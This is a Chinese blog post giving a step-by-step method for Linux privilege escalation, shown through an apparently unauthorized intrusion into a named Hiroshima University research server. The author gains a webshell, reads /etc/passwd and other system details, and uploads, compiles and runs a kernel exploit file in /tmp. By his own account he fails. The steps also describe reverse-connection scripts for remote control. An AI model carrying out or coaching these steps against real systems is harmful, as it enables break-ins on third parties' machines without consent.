一些人一直觉得Linux提权是一项高深技术,其实Linux提权并不神秘。总结其步骤,可以简单分为5步:

1,获取webshell
2,具有执行command line权限,并获取Linux的系统版本
3,上传与Linux系统版本对应的漏洞提权脚本至可写可执行的目录下
4,执行提权脚本和反弹连接脚本
5,远程使用command line控制机器

本文所采用的实例仍然是广岛大学研究所的服务器,但是目前为止我并没有提权成功,虽然不是一个成功的实例,但是文章的目的在于说明过程而非说明结果
广岛大学研究所的网站服务器架设环境是:
Cent OS + PHP + Apache + PsotgreSQL
当然这些并不重要,我获得了webshell,并且发现有exec和system函数的权限,这样就好办多了
首先,读取password文件:

cat /etc/passwd
复制代码
获得:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ope:x:500:500::/home/ope:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
avahi-autoipd:x:100:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
复制代码
除了root之外,有bash权限的shell分别有

数据库账户line32:postgres

管理员自己的账户line36:ope

Apache是nologin的shell,当然这个似乎并不影响什么,只是看一下而已

顺便w一下

10:45:41 up 71 days, 17:02, 1 user, load average: 2.00, 2.00, 2.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ope tty1 - 26Jan11 71days 0.03s 0.03s -bash
复制代码
好吧,那么踩点结束。开始正事

执行命令:

uname -a
回显:
Linux XXXXXXXX.hiroshima-u.ac.jp 2.6.18-164.15.1.el5PAE #1 SMP Wed Mar 17 12:14:29 EDT 2010 i686 i686 i386 GNU/Linux
复制代码
2.6.18的内核,再看:

lsb_release -a
回显:
LSB Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch
Distributor ID: CentOS
Description: CentOS release 5.4 (Final)
Release: 5.4
Codename: Final
复制代码
Cent OS 5.4的系统确实是2.6.18的内核。但是目前为止没有发现这个RedHat的系统有什么漏洞 - -

传了一个去年的2.6.18的提权脚本到/tmp目录

注意,一般来讲,提权脚本都是放在/tmp目录,原因很简单,目录简单,可写可执行~起名为:2618.c

好了,提权之前,这是一个c文件,是不能像rb或者pl那样直接脚本执行的,我们要先编译:

gcc -o /tmp/2618 /tmp/2618.c
复制代码
这样就把/tmp/2618.c编译成了可以执行的文件/tmp/2618了

此时直接执行这个文件就行了

/tmp/2618
复制代码
当然,回显提示是失败的

Diagnostic tool for public CVE-2010-3081 exploit -- Ksplice, Inc.
(see http://www.ksplice.com/uptrack/cve-2010-3081)

$$$ Kernel release: 2.6.18-164.15.1.el5PAE
$$$ Backdoor in LSM (1/3): checking...not present.
$$$ Backdoor in timer_list_fops (2/3): not available.
$$$ Backdoor in IDT (3/3): checking...not present.

Your system is free from the backdoors that would be left in memory
by the published exploit for CVE-2010-3081.

当然,直接对RedHat发布的Linux系统版本进行内核提权显然不是明智的选择。我的思路是,查找系统中含有漏洞的软件、驱动等,用它们来提权。不幸的是我目前还没成功 - -

文章总结:提权脚本有两点要注意,gcc命令编译无法编译出脚本未必是系统的问题,可能是c脚本本身有问题。如果系统无法gcc出可执行的文件,可以在本地或者其他地方gcc出来,然后直接传上去,直接执行

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/1359.html